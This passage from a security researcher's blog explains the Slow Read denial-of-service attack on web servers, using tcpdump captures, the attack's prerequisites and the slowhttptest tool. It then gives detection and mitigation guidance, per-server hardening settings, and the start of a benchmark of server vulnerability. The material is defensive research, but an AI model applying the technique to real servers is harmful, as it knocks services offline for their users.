<p>We craft a request like the following:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<pre><code>GET /img/delivery.png HTTP/1.1
Host: victim
User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en) Presto/2.9.168 Version/11.50
Referer: http://code.google.com/p/slowhttptest/
</code></pre>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="font-family: 'Courier New'; padding-left: 12px;">And the server replies with something like this:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<pre><code>HTTP/1.1 200 OK
Date: Mon, 19 Dec 2011 00:12:28 GMT
Server: Apache
Last-Modified: Thu, 08 Dec 2011 15:29:54 GMT
Accept-Ranges: bytes
Content-Length: 24523
Content-Type: image/png
?PNG
</code></pre>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The simplified tcpdump output looks like this:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<pre><code>09:06:02.088947 IP attacker.63643 > victim.http: Flags [S], seq 3550589098, win 65535, options [mss 1460,nop,wscale 1,nop,nop,TS val 796586772 ecr 0,sackOK,eol], length 0
09:06:02.460622 IP victim.http > attacker.63643: Flags [S.], seq 1257718537, ack 3550589099, win 5792, options [mss 1460,sackOK,TS val 595199695 ecr 796586772,nop,wscale 6], length 0
09:06:02.460682 IP attacker.63643 > victim.http: Flags [.], ack 1, win 33304, length 0
09:06:02.460705 IP attacker.63643 > victim.http: Flags [P.], seq 1:219, ack 1, win 33304, length 218
09:06:02.750771 IP victim.http > attacker.63643: Flags [.], ack 219, win 108, length 0
09:06:02.762162 IP victim.http > attacker.63643: Flags [.], seq 1:1449, ack 219, win 108, length 1448
09:06:02.762766 IP victim.http > attacker.63643: Flags [.], seq 1449:2897, ack 219, win 108, length 1448
09:06:02.762799 IP attacker.63643 > victim.http: Flags [.], ack 2897, win 31856, length 0
...
...
09:06:03.611022 IP victim.http > attacker.63643: Flags [P.], seq 24617:24738, ack 219, win 108, length 121
09:06:03.611072 IP attacker.63643 > victim.http: Flags [.], ack 24738, win 20935, length 0
09:06:07.757014 IP victim.http > attacker.63643: Flags [F.], seq 24738, ack 219, win 108, length 0
09:06:07.757085 IP attacker.63643 > victim.http: Flags [.], ack 24739, win 20935, length 0
09:09:54.891068 IP attacker.63864 > victim.http: Flags [S], seq 2051163643, win 65535, length 0
</code></pre>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>For those who don’t feel like reading tcpdump’s output: We established a connection; sent the request; received the response through several TCP packets sized 1448 bytes because of Maximum Segment Size that the underlying communication channel supports; and finally, 5 seconds later, we received the TCP packet with the FIN flag.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Everything seems normal and expected. The server handed the data to its kernel level send buffer, and the TCP/IP stack took care of the rest. At the client, even while the application had not read yet from its kernel level receive buffer, all the transactions were completed on the network layer.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>What if we try to make the client’s receive buffer very small?</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>We sent the same HTTP request and server produced the same HTTP response, but tcpdump produced much more interesting results:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<pre><code>13:37:48.371939 IP attacker.64939 > victim.http: Flags [S], seq 1545687125, win 28, options [mss 1460,nop,wscale 0,nop,nop,TS val 803763521 ecr 0,sackOK,eol], length 0
13:37:48.597488 IP victim.http > attacker.64939: Flags [S.], seq 3546812065, ack 1545687126, win 5792, options [mss 1460,sackOK,TS val 611508957 ecr 803763521,nop,wscale 6], length 0
13:37:48.597542 IP attacker.64939 > victim.http: Flags [.], ack 1, win 28, options [nop,nop,TS val 803763742 ecr 611508957], length 0
13:37:48.597574 IP attacker.64939 > victim.http: Flags [P.], seq 1:236, ack 1, win 28, length 235
13:37:48.820346 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:49.896830 IP victim.http > attacker.64939: Flags [P.], seq 1:29, ack 236, win 98, length 28
13:37:49.896901 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:51.119826 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:51.119889 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:55.221629 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:55.221649 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:59.529502 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:59.529573 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:07.799075 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:38:07.799142 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:24.122070 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:38:24.122133 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:56.867099 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:38:56.867157 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:40:01.518180 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:40:01.518222 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:42:01.708150 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:42:01.708210 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:44:01.891431 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:44:01.891502 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:46:02.071285 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:46:02.071347 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:48:02.252999 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:48:02.253074 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:50:02.436965 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:50:02.437010 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
</code></pre>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>In the initial SYN packet, the client advertised its receive window size as 28 bytes. The server sends the first 28 bytes to the client and that’s it! The server keeps polling the client for space available at progressive intervals until it reaches a 2-minute interval, and then keeps polling at that interval, but keeps receiving win 0.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>This is already promising: if we can prolong the connection lifetime for several minutes, it’s not that bad. And we can have more fun with thousands of connections! But fun did not happen. Let’s see why: Once the server received the request and generated the response, it sends the data to the socket, which is supposed to deliver it to the end user. If the data can fit into the server socket’s send buffer, the server hands the entire data to the kernel and forgets about it. That’s what happened with our last test.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>What if we make the server keep polling the socket for write readiness? We get exactly what we wanted: Denial of Service.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Let’s summarize the prerequisites for the DoS:</p>
<ul>
<li>We need to know the server’s send buffer size and then define a smaller-sized client receive buffer. TCP doesn’t advertise the server’s send buffer size, but we can assume that it is the default value, which is usually between 65Kb and 128Kb. There’s normally no need to have a send buffer larger than that.</li>
<li>We need to make the server generate a response that is larger than the send buffer. With reports indicating the <a href="http://tech.slashdot.org/story/11/12/22/2015231/average-web-page-approaches-1mb" target="_blank" rel="noopener noreferrer">Average Web Page Approaches 1MB</a>, that should be fairly easy. Load the main page of the victim’s Web site in your favorite <a href="http://www.webkit.org/" target="_blank" rel="noopener noreferrer">WebKit-based</a> browser like Chrome or Safari and pick the largest resource in <a href="http://trac.webkit.org/wiki/WebInspector" target="_blank" rel="noopener noreferrer">Web Inspector</a>.</li>
</ul>
<p style="padding-left: 12px;"><a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d3f8aaaf0970c-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Chrome" class="asset asset-image at-xid-6a017ee6f6cb91970d017d3f8aaaf0970c" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d3f8aaaf0970c-500wi" title="Chrome" /></a><br /><br /></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>If there are no sufficiently large resources on the server, but it supports <a href="http://en.wikipedia.org/wiki/HTTP_pipelining">HTTP pipelining</a>, which many Web servers do, then we can multiply the size of the response to fill up the server’s send buffer as much as we need by re-requesting same resource several times using the same connection.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>For example, here’s a screenshot of mod_status on Apache under attack:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 12px;"><a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017c355bc0b2970b-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Mod_status" class="asset asset-image at-xid-6a017ee6f6cb91970d017c355bc0b2970b" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017c355bc0b2970b-500wi" title="Mod_status" /></a><br /><br /></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>As you can see, all connections are in the WRITE state with 0 idle workers.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Here is the chart generated by the latest release of slowhttptest with Slow Read attack support:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 12px;"><a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017c355bc11a970b-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Test_res" class="asset asset-image at-xid-6a017ee6f6cb91970d017c355bc11a970b" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017c355bc11a970b-500wi" title="Test_res" /></a><br /><br /></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Even though the TCP/IP stack shouldn’t make decisions on resetting alive and responsive connections, and it is the “userland” application’s responsibility to do so, I assume that some TCP/IP implementations or firewalls might have timers to track connections that cannot send data for some time. To avoid triggering such decisions, slowhttptest can read data from the local receive buffer very slowly to make the TCP/IP stack reply with ACKs with window size other than 0, thus ensuring some physical data flow from server to client.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>While I was implementing the attack, I contacted <a href="http://blog.ivanristic.com" target="_blank" rel="noopener noreferrer">Ivan Ristic</a> to get his opinion and suggestions. I was suspecting there would be attacks exploiting zero/small window, but I thought I am the first one to apply it to tie up an HTTP server. I was surprised when Ivan replied with links to <a href="http://en.wikipedia.org/wiki/Sockstress" target="_blank" rel="noopener noreferrer">sockstress</a> by Outpost24 and <a href="http://www.phrack.org/issues.html?issue=66&id=9" target="_blank" rel="noopener noreferrer">Nkiller2 exploiting Persist Timer infiniteness</a> that are already covering most aspects I wanted to describe. However, the above mentioned techniques are crafting TCP packets and use raw sockets, whereas slowhttptest uses only the TCP sockets API to achieve almost the same functionality.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>We still think it’s worthwhile to have a configurable tool to help people focus and design defense mechanisms, since this vulnerability still exists on many systems three years after it was first discovered, and I consider Slow Read DoS attacks are even lower profile and harder to detect than slowloris and slow POST attacks.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>There is a vulnerability note on the <a href="http://www.kb.cert.org/vuls/id/723308" target="_blank" rel="noopener noreferrer">US-CERT Web site</a> as well as <a href="http://technet.microsoft.com/en-us/security/bulletin/MS09-048" target="_blank" rel="noopener noreferrer">MS09-048</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4609" target="_blank" rel="noopener noreferrer">CVE-2008-4609</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1925" target="_blank" rel="noopener noreferrer">CVE-2009-1925</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1926" target="_blank" rel="noopener noreferrer">CVE-2009-1926</a> describing this problem.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>For protocols like <a href="http://www.chromium.org/spdy" target="_blank" rel="noopener noreferrer">SPDY</a> and <a href="http://websocket.org/" target="_blank" rel="noopener noreferrer">WebSocket</a>, this vulnerability could be even more critical, as they rely on persistent connections by design.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Detection</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>For passive (non-intrusive) detection of vulnerability, the presence of several conditions could be checked:</p>
<ul>
<li>The server accepts initial SYN packets with an abnormally small advertised window</li>
<li>The server doesn’t send RST or FIN for some time (30 seconds should be more than enough), if recipient cannot accept the data</li>
<li>Persistent connections (keep-alive) and HTTP pipelining are enabled</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>If all three conditions are met, we can assume server is vulnerable to Slow Read DoS attack. QualysGuard Web Application Scanner (WAS) uses similar approach to discover the vulnerability.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>For active detection, I would recommend using <strong>slowhttptest version 1.3 and up</strong>. See <a href="http://code.google.com/p/slowhttptest/wiki/InstallationAndUsage" target="_blank" rel="noopener noreferrer">installation and usage examples</a>.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Mitigation</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>All servers I observed (Apache, nginx, lighttpd, IIS 7.5) are vulnerable in their default configuration.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The fundamental problem here is how servers are handling write readiness for active sockets.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The best protection would be:</p>
<ul>
<li>Do not accept connections with abnormally small advertised window sizes</li>
<li>Do not enable persistent connections and HTTP pipelining unless performance really benefits from it</li>
<li>Limit the absolute connection lifetime to some reasonable value</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Some servers have built-in protection, which is turned off by default. For example, lighttpd has the <a href="http://redmine.lighttpd.net/wiki/1/Server.max-write-idleDetails" target="_blank" rel="noopener noreferrer">server.max-write-idle</a> option to specify maximum number of seconds until a waiting write call times out and closes the connection.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Apache is vulnerable in its default configuration, but MPM Event, for example, handles slow requests and responses significantly better than other modules, but falls back to worker MPM behavior for SSL connections. ModSecurity supports attributes to control how long a socket can remain in read or write state.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>There is a handy script called “Flying frog” available, written by <a href="http://www.netnea.com/cms/?q=christian_folini" target="_blank" rel="noopener noreferrer">Christian Folini</a>, an expert in Application Layer DoS attacks detection. Flying frog is a monitoring agent that hovers over the incoming traffic and the application log. It picks individual attackers, like a frog eats a mosquito.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p><strong>Update, January 6, 2012:</strong></p>
<p>SpiderLabs came up with details on mitigation:</p>
<p><a href="http://blog.spiderlabs.com/2012/01/modsecurity-advanced-topic-of-the-week-mitigation-of-slow-read-denial-of-service-attack.html">ModSecurity Advanced Topic of the Week: Mitigation of 'Slow Read" Denial of Service Attack</a></p>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com4tag:blogger.com,1999:blog-3565796179612457630.post-85851941154566544812011-11-02T22:06:00.000-07:002018-01-15T22:10:37.614-08:00How to Protect Against Slow HTTP Attacks<p>Cross-posted from <a href="https://community.qualys.com/blogs/securitylabs/2011/11/02/how-to-protect-against-slow-http-attacks" target="_blank" rel="noopener noreferrer">Qualys Security Labs. </a></p>
<div>
<p>Slow HTTP attacks are denial-of-service (DoS) attacks in which the attacker sends HTTP requests in pieces slowly, one at a time to a Web server. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. When the server’s concurrent connection pool reaches its maximum, this creates a DoS. Slow HTTP attacks are easy to execute because they require only minimal resources from the attacker.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>In this article, I describe several simple steps to protect against slow HTTP attacks and to make the attacks more difficult to execute.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Previous articles in the series cover:</p>
<ul>
<li><a href="http://shekyan.typepad.com/blog/2011/07/identifying-slow-http-attack-vulnerabilities-on-web-applications.html" target="_blank" rel="noopener noreferrer">Identifying Slow HTTP Attack Vulnerabilities on Web Application</a></li>
<li><a href="http://shekyan.typepad.com/blog/2011/08/new-open-source-tool-for-slow-http-dos-attack-vulnerabilities.html" target="_blank" rel="noopener noreferrer">New Open-Source Tool for Slow HTTP DoS Attack Vulnerabilities</a></li>
<li><a href="http://shekyan.typepad.com/blog/2011/09/testing-web-servers-for-slow-http-attacks.html" target="_blank" rel="noopener noreferrer">Testing Web Servers for Slow HTTP Attacks</a></li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Protection Strategies</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p><a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017ee6ff1bd3970d-pi" style="float: right;"><img alt="Slow" class="asset asset-image at-xid-6a017ee6f6cb91970d017ee6ff1bd3970d" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017ee6ff1bd3970d-500wi" style="margin: 0px 0px 5px 5px;" title="Slow" /></a>To protect your Web server against slow HTTP attacks, I recommend the following:</p>
<ul>
<li>Reject / drop connections with HTTP methods (verbs) not supported by the URL.</li>
<li>Limit the header and message body to a minimal reasonable length. Set tighter URL-specific limits as appropriate for every resource that accepts a message body.</li>
<li>Set an absolute connection timeout, if possible. Of course, if the timeout is too short, you risk dropping legitimate slow connections; and if it’s too long, you don’t get any protection from attacks. I recommend a timeout value based on your connection length statistics, e.g. a timeout slightly greater than median lifetime of connections should satisfy most of the legitimate clients.</li>
<li>The backlog of pending connections allows the server to hold connections it’s not ready to accept, and this allows it to withstand a larger slow HTTP attack, as well as gives legitimate users a chance to be served under high load. However, a large backlog also prolongs the attack, since it backlogs all connection requests regardless of whether they’re legitimate. If the server supports a backlog, I recommend making it reasonably large to so your HTTP server can handle a small attack.</li>
<li>Define the minimum incoming data rate, and drop connections that are slower than that rate. Care must be taken not to set the minimum too low, or you risk dropping legitimate connections.</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Server-Specific Recommendations</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Applying the above steps to the HTTP servers tested in the previous article indicates the following server-specific settings:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Apache</h3>
<ul>
<li>Using the <<em>Limit</em>> and <<em>LimitExcept</em>> directives to drop requests with methods not supported by the URL alone won’t help, because Apache waits for the entire request to complete before applying these directives. Therefore, use these parameters in conjunction with the <a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfields"><em>LimitRequestFields</em></a>, <a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize"><em>LimitRequestFieldSize</em></a>, <a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestbody"><em>LimitRequestBody</em></a>, <a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestline"><em>LimitRequestLine</em></a>, <a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitxmlrequestbody"><em>LimitXMLRequestBody</em></a> directives as appropriate. For example, it is unlikely that your web app requires an 8190 byte header, or an unlimited body size, or 100 headers per request, as most default configurations have. </li>
<li>Set reasonable <a href="http://httpd.apache.org/docs/2.0/mod/core.html#timeout"><em>TimeOut</em></a> and <a href="http://httpd.apache.org/docs/2.0/mod/core.html#keepalivetimeout"><em>KeepAliveTimeOut</em></a> directive values. The default value of 300 seconds for <em>TimeOut</em> is overkill for most situations.</li>
<li><em><a href="http://httpd.apache.org/docs/2.0/mod/mpm_common.html#listenbacklog" target="_blank" rel="noopener noreferrer">ListenBackLog</a></em>’s default value of 511 could be increased, which is helpful when the server can’t accept connections fast enough.</li>
<li>Increase the <a href="http://httpd.apache.org/docs/2.3/mod/mpm_common.html#maxrequestworkers"><em>MaxRequestWorkers</em></a> directive to allow the server to handle the maximum number of simultaneous connections.</li>
<li>Adjust the <em><a href="http://httpd.apache.org/docs/2.2/mod/core.html" target="_blank" rel="noopener noreferrer">AcceptFilter</a></em> directive, which is supported on FreeBSD and Linux, and enables operating system specific optimizations for a listening socket by protocol type. For example, the httpready Accept Filter buffers entire HTTP requests at the kernel level.</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>A number of Apache modules are available to minimize the threat of slow HTTP attacks. For example, mod_reqtimeout’s <a href="http://httpd.apache.org/docs/2.2/mod/mod_reqtimeout.html#requestreadtimeout"><em>RequestReadTimeout</em></a> directive helps to control slow connections by setting timeout and minimum data rate for receiving requests.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>I also recommend switching apache2 to experimental <a href="http://httpd.apache.org/docs/2.3/mod/event.html"><em>Event MPM</em></a> mode where available. This uses a dedicated thread to handle the listening sockets and all sockets that are in a Keep Alive state, which means incomplete connections use fewer resources while being polled.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Nginx</h3>
<ul>
<li>Limit accepted verbs by checking the <a href="http://wiki.nginx.org/HttpCoreModule#.24request_method"><em>$request_method</em></a> variable.</li>
<li>Set reasonably small <a href="http://wiki.nginx.org/HttpCoreModule#client_max_body_size"><em>client_max_body_size</em></a>, <a href="http://wiki.nginx.org/HttpCoreModule#client_body_buffer_size"><em>client_body_buffer_size</em></a>, <a href="http://wiki.nginx.org/HttpCoreModule#client_header_buffer_size"><em>client_header_buffer_size</em></a>, <a href="http://wiki.nginx.org/HttpCoreModule#large_client_header_buffers"><em>large_client_header_buffers</em></a>, and increase where necessary.</li>
<li>Set <a href="http://wiki.nginx.org/HttpCoreModule#client_body_timeout"><em>client_body_timeout</em></a>, <a href="http://wiki.nginx.org/HttpCoreModule#client_header_timeout"><em>client_header_timeout</em></a> to reasonably low values.</li>
<li>Consider using <a href="http://wiki.nginx.org/HttpLimitReqModule"><em>HttpLimitReqModule</em></a> and <a href="http://wiki.nginx.org/HttpLimitZoneModule"><em>HttpLimitZoneModule</em></a> to limit the number of requests or the number of simultaneous connections for a given session, or as a special case, with same address.</li>
<li>Configure <a href="http://wiki.nginx.org/CoreModule#worker_processes"><em>worker_processes</em></a> and <a href="http://wiki.nginx.org/EventsModule#worker_connections"><em>worker_connections</em></a> based on the number of CPU / cores, content and load. The formula is <em>max_clients</em> = <em>worker_processes</em> * <em>worker_connections</em>.</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>lighttpd</h3>
<ul>
<li>Restrict request verbs using the <em><a href="http://redmine.lighttpd.net/wiki/1/Docs:Configuration" target="_blank" rel="noopener noreferrer">$HTTP["request-method"]</a></em> field in the configuration file for the core module (available since version 1.4.19).</li>
<li>Use <a href="http://redmine.lighttpd.net/wiki/lighttpd/server.max-request-sizeDetails"><em>server.max_request-size</em></a> to limit the size of the entire request including headers.</li>
<li>Set <a href="http://redmine.lighttpd.net/wiki/1/Server.max-read-idleDetails"><em>server.max-read-idle</em></a> to a reasonable minimum so that the server closes slow connections. No absolute connection timeout option was found.</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>IIS 6</h3>
<ul>
<li>Set <a href="http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/73566f83-c257-4941-8ed8-7ae45b2e7985.mspx"><em>connectionTimeout</em></a>, <a href="http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/2dac775e-1acf-415c-878f-a138e0650934.mspx"><em>HeaderWaitTimeout</em></a> and <a href="http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4005eb9b-5189-4e96-98ef-01c383f1e4e2.mspx"><em>MaxConnections</em></a> properties in Metabase to minimize the impact of slow HTTP attacks. Working with Metabase can be complicated, so I recommend Microsoft’s <a href="http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/0b55b4ca-bd04-45e5-9cfc-c0933496d7cb.mspx?mfr=true" target="_blank" rel="noopener noreferrer">Working with the Metabase</a> reference guide.</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>IIS 7</h3>
<ul>
<li>Limit request attributes is through the <<em><a href="http://www.iis.net/ConfigReference/system.webServer/security/requestFiltering/requestLimits" target="_blank" rel="noopener noreferrer">RequestLimits</a></em>> element, specifically the <em>maxAllowedContentLength</em>, <em>maxQueryString</em>, and <em>maxUrl</em> attributes.</li>
<li>Set <<em><a href="http://www.iis.net/ConfigReference/system.webServer/security/requestFiltering/requestLimits/headerLimits" target="_blank" rel="noopener noreferrer">headerLimits</a></em>> to configure the type and size of header your web server will accept.</li>
<li>Tune the connectionTimeout, headerWaitTimeout, and minBytesPerSecond attributes of the <<em><a href="http://www.iis.net/ConfigReference/system.applicationHost/sites/siteDefaults/limits" target="_blank" rel="noopener noreferrer">limits</a></em>> and <<em><a href="http://www.iis.net/ConfigReference/system.applicationHost/webLimits" target="_blank" rel="noopener noreferrer">WebLimits</a></em>> elements to minimize the impact of slow HTTP attacks.</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>What’s Next</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The above are the simplest and most generic countermeasures to minimize the threat. Tuning the Web server configuration is effective to an extent, although there is always a tradeoff between limiting slow HTTP attacks and dropping legitimately slow requests. This means you can never prevent attacks simply using the above techniques.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Beyond configuring the web server, it’s possible to implement other layers of protection like event-driven software load balancers, hardware load balancers to perform delayed binding, and intrusion detection/prevention systems to drop connections with suspicious patterns.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>However, today, it probably makes more sense to defend against specific tools rather than slow HTTP attacks in general. Tools have weaknesses that can be identified and and exploited when tailoring your protection. For example, slowhttptest doesn’t change the user-agent string once the test has begun, and it requests the same URL in every HTTP request. If a web server receives thousands of connections from the same IP with the same user-agent requesting the same resource within short period of time, it obviously hints that something is not legitimate. These kinds of patterns can be gleaned from the log files, therefore monitoring log files to detect the attack still remains the most effective countermeasure.</p>
</div>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com5tag:blogger.com,1999:blog-3565796179612457630.post-66465749354114724852011-09-19T22:07:00.000-07:002018-01-15T22:10:24.964-08:00Testing Web Servers for Slow HTTP Attacks<p>Cross-posted from <a href="https://community.qualys.com/blogs/securitylabs/2011/09/19/testing-web-servers-for-slow-http-attacks" target="_blank">Qualys Security Labs. </a></p>
<div>
<p>Following the release of the <a href="http://shekyan.typepad.com/blog/2011/08/new-open-source-tool-for-slow-http-dos-attack-vulnerabilities.html" target="_blank">slowhttptest tool</a>,
I ran benchmark tests of some popular Web servers. My testing shows
that all of the observed Web servers (and probably others) are
vulnerable to <a href="http://shekyan.typepad.com/blog/2011/07/identifying-slow-http-attack-vulnerabilities-on-web-applications.html" target="_blank">slow http attacks</a>
in their default configurations. Reports generated by the slowhttptest
tool illustrate the differences in how the various Web servers handle
slow http attacks. </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Configurations Tested</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Tests
were run against the default, out-of-the-box configurations of the Web
servers, which is the best level playing field for comparison. And while
most deployments will customize their configuration, they will likely
do it for reasons other than improving protection against slow http
attacks. Therefore it’s useful to understand how the default
configurations relate to slow http attack vulnerability. </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The following HTTP servers were observed:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<table border="0" style="padding-left: 60px;">
<tbody>
<tr>
<td width="180"><strong>Web Server</strong></td>
<td width="260"><strong>Operating System</strong></td>
</tr>
<tr>
<td><a href="http://projects.apache.org/index.html" target="_blank">Apache</a> 2.2.19 MPM prefork</td>
<td>Mac OS X 10.7 Lion Server</td>
</tr>
<tr>
<td><a href="http://nginx.net/" target="_blank">nginx</a> 1.0.0</td>
<td>Mac OS X 10.7 Lion Server from <a href="http://www.macports.org/" target="_blank">MacPorts</a></td>
</tr>
<tr>
<td><a href="http://www.lighttpd.net/" target="_blank">lighttpd</a> 1.4.28</td>
<td>Ubuntu 11.04</td>
</tr>
<tr>
<td><a href="http://www.iis.net/" target="_blank">IIS</a> 7</td>
<td>Windows 2008 Server</td>
</tr>
</tbody>
</table>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Observations</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>In
addition to noting that all Web servers tested are vulnerable to slow
